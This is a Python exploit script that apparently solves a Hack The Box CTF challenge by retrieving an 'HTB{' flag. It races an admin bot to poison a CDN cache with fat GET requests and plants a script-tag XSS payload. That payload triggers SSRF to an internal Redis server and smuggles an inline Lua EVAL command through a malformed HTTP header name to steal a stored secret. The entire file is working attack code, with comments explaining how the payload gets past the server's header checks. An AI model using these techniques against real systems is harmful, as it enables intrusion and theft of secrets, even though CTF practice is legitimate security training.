#!/usr/bin/env python3
import base64
import hashlib
import os
import threading
import time
import urllib.parse

import requests


TARGET = os.environ.get("TARGET", "").rstrip("/")
MAX_ATTEMPTS = int(os.environ.get("MAX_ATTEMPTS", "20"))
WATCHERS = int(os.environ.get("WATCHERS", "3"))
POISONERS = int(os.environ.get("POISONERS", "3"))
ATTEMPT_COOLDOWN = int(os.environ.get("ATTEMPT_COOLDOWN", "15"))
SCRIPT_VERSION = "3.0-inline-header-eval"

if not TARGET.startswith(("http://", "https://")):
    raise SystemExit("Set TARGET first, e.g. export TARGET='http://IP:PORT'")


def new_session():
    session = requests.Session()
    adapter = requests.adapters.HTTPAdapter(
        pool_connections=1,
        pool_maxsize=1,
        max_retries=0,
        pool_block=True,
    )
    session.mount("http://", adapter)
    session.mount("https://", adapter)
    return session


def recent_searches(session):
    response = session.get(
        f"{TARGET}/api/prev_searches",
        params={"cb": time.time_ns()},
        timeout=3,
    )
    response.raise_for_status()
    data = response.json()
    return data.get("searches", [])


def make_payload(run_id):
    marker = f"CACHEPWN{run_id}"
    output_path = f"/flagout-{run_id}"
    redis_key = hashlib.sha256(output_path.encode()).hexdigest()

    # Store a valid cdn-service Response object under the hash of output_path.
    #
    # Tornado 6.4.2 rejects CR/LF in header values, so classic CRLF request
    # smuggling cannot reach Redis. Its HTTPHeaders class does, however, accept
    # spaces and quotes in a header *name*.  We turn one serialized HTTP header
    # into a valid Redis inline EVAL command:
    #
    #   Eval "<lua>;--X: " 0\r\n
    #
    # The ': ' inserted by the HTTP serializer lands after a Lua comment, and
    # the header value closes the Redis quoted argument and supplies numkeys=0.
    # The source is deliberately lowercase-safe because Tornado normalizes the
    # entire malformed header name with str.capitalize().
    lua = (
        "local f=redis.call('get',string.char(70,76,65,71));"
        "local v=cjson.encode({body=f,status_code=200,"
        "headers={['content-type']={'text/plain'}}});"
        f"redis.call('set','{redis_key}',v,'ex',120);return 1;--x"
    )

    redis_header_name = f'EVAL "{lua}'
    redis_header_value = '" 0'
    name_b64 = base64.b64encode(redis_header_name.encode()).decode()
    value_b64 = base64.b64encode(redis_header_value.encode()).decode()

    # No literal whitespace: SearchHandler treats this as one LIKE term, making
    # the poisoned origin response much faster than the bot's inflated response.
    js = (
        f"m='{marker}';"
        f"h=atob('{name_b64}');"
        f"v=atob('{value_b64}');"
        "d=new(URLSearchParams)();"
        "d.set('url','http://127.0.0.1:6379/');"
        "d.set(h,v);"
        "fetch('/search?query='+m,{keepalive:true});"
        "fetch('/panel',{method:'POST',keepalive:true,"
        "headers:{'Content-Type':'application/x-www-form-urlencoded'},"
        "body:d})"
    )
    payload = f"<script>{js}</script>"

    if any(ch.isspace() for ch in payload):
        raise RuntimeError("Payload unexpectedly contains whitespace")

    return marker, output_path, redis_key, payload


def fat_get(session, victim_url, payload, label, results):
    try:
        response = session.request(
            "GET",
            victim_url,
            # The URL query controls the CDN key. Tornado takes the body query
            # as the effective value. verified_only keeps the poison response
            # on the tiny verified subset instead of scanning/rendering all
            # attacker-added filler rows.
            data={"query": payload, "verified_only": "on"},
            timeout=20,
        )
        results.append(
            (
                label,
                response.status_code,
                response.headers.get("X-Cache", "?"),
                payload in response.text,
            )
        )
    except Exception as error:
        results.append((label, 0, type(error).__name__, False))


def attempt(number):
    run_id = f"{time.time_ns()}{number}"
    marker, output_path, redis_key, payload = make_payload(run_id)

    control = new_session()
    baseline = set(recent_searches(control))

    state_lock = threading.Lock()
    found = threading.Event()
    stop = threading.Event()
    state = {"query": None}
    results = []
    poison_sessions = [new_session() for _ in range(POISONERS)]
    watcher_sessions = [new_session() for _ in range(WATCHERS)]

    # Establish reusable connections before starting the bot.
    for index, session in enumerate(poison_sessions):
        session.get(
            f"{TARGET}/static/styles.css",
            params={"warm": f"p{run_id}{index}"},
            timeout=5,
        )
    for index, session in enumerate(watcher_sessions):
        session.get(
            f"{TARGET}/static/styles.css",
            params={"warm": f"w{run_id}{index}"},
            timeout=5,
        )

    def watcher(index, session):
        deadline = time.monotonic() + 16
        while not stop.is_set() and time.monotonic() < deadline:
            try:
                entries = recent_searches(session)
            except Exception:
                continue

            query = next(
                (
                    item
                    for item in entries
                    if item not in baseline
                    and item != payload
                    and len(item.split()) == 4
                ),
                None,
            )
            if query is None:
                continue

            with state_lock:
                if state["query"] is not None:
                    return
                state["query"] = query

            encoded = urllib.parse.quote(query, safe="")
            victim_url = f"{TARGET}/search?query={encoded}"
            print(f"[+] Watcher {index} found bot query: {query}")
            found.set()

            # This is normally the fastest request because it reuses the same
            # connection that just returned the observation.
            fat_get(session, victim_url, payload, f"watcher-{index}", results)
            return

    watcher_threads = [
        threading.Thread(target=watcher, args=(i, session), daemon=True)
        for i, session in enumerate(watcher_sessions)
    ]

    def poisoner(index, session):
        if not found.wait(17):
            return
        query = state["query"]
        victim_url = (
            f"{TARGET}/search?query="
            + urllib.parse.quote(query, safe="")
        )
        fat_get(session, victim_url, payload, f"poison-{index}", results)

    poison_threads = [
        threading.Thread(target=poisoner, args=(i, session), daemon=True)
        for i, session in enumerate(poison_sessions)
    ]

    print("\n" + "=" * 68)
    print(f"[+] Attempt {number}/{MAX_ATTEMPTS}")
    print(f"[+] Marker: {marker}")
    print(f"[+] Output path: {output_path}")
    print(f"[+] Redis key: {redis_key}")
    print(f"[+] Payload length: {len(payload)}; whitespace-free: True")

    for thread in poison_threads + watcher_threads:
        thread.start()

    report = control.post(f"{TARGET}/api/report", timeout=5)
    print(f"[+] Report: {report.status_code}")

    for thread in watcher_threads + poison_threads:
        thread.join(timeout=22)
    stop.set()

    query = state["query"]
    if query is None:
        print("[-] Bot query was not observed")
        return False

    print("[+] Fat-GET responses:")
    for label, status, cache, body_has_payload in results:
        print(
            f"    {label}: status={status} X-Cache={cache} "
            f"own-body={body_has_payload}"
        )

    # This is the decisive test. 'miss' only means that the cache was empty
    # when a request arrived; it does not mean its SetNX won.
    victim_url = (
        f"{TARGET}/search?query="
        + urllib.parse.quote(query, safe="")
    )
    cache_probe = control.get(victim_url, timeout=20)
    poisoned_cache = marker in cache_probe.text
    print(
        f"[+] Stored cache: X-Cache={cache_probe.headers.get('X-Cache')} "
        f"contains-payload={poisoned_cache}"
    )

    if not poisoned_cache:
        print("[-] Origin response won SetNX; retrying")
        return False

    print("[+] Poisoned cache CONFIRMED; waiting for admin refresh/Redis")
    marker_seen = False
    marker_deadline = time.monotonic() + 14
    while time.monotonic() < marker_deadline:
        try:
            if marker in recent_searches(control):
                marker_seen = True
                break
        except requests.RequestException:
            pass
        time.sleep(0.35)
    print(f"[+] Admin JavaScript marker observed: {marker_seen}")

    deadline = time.monotonic() + 18
    last_status = None
    while time.monotonic() < deadline:
        try:
            response = control.get(f"{TARGET}{output_path}", timeout=4)
            last_status = response.status_code
            body = response.text.strip()
            if "HTB{" in body:
                print("\n[SUCCESS] FLAG RETRIEVED")
                print(body)
                return True
        except requests.RequestException:
            pass
        time.sleep(0.4)

    print(f"[-] Poison won, but output endpoint stayed at status {last_status}")
    if marker_seen:
        print("[-] XSS executed; remaining failure is panel/Redis injection")
    else:
        print("[-] Admin never executed the cached JavaScript")
    return False


def main():
    print(f"[*] Socrates exploit {SCRIPT_VERSION}")
    for attempt_number in range(1, MAX_ATTEMPTS + 1):
        try:
            if attempt(attempt_number):
                return 0
        except KeyboardInterrupt:
            raise
        except Exception as error:
            print(f"[-] {type(error).__name__}: {error}")

        if attempt_number < MAX_ATTEMPTS:
            print(
                f"[*] Cooling down {ATTEMPT_COOLDOWN}s so Selenium bots "
                "cannot overlap"
            )
            time.sleep(ATTEMPT_COOLDOWN)

    raise SystemExit("Flag not retrieved; preserve the full output.")


if __name__ == "__main__":
    raise SystemExit(main())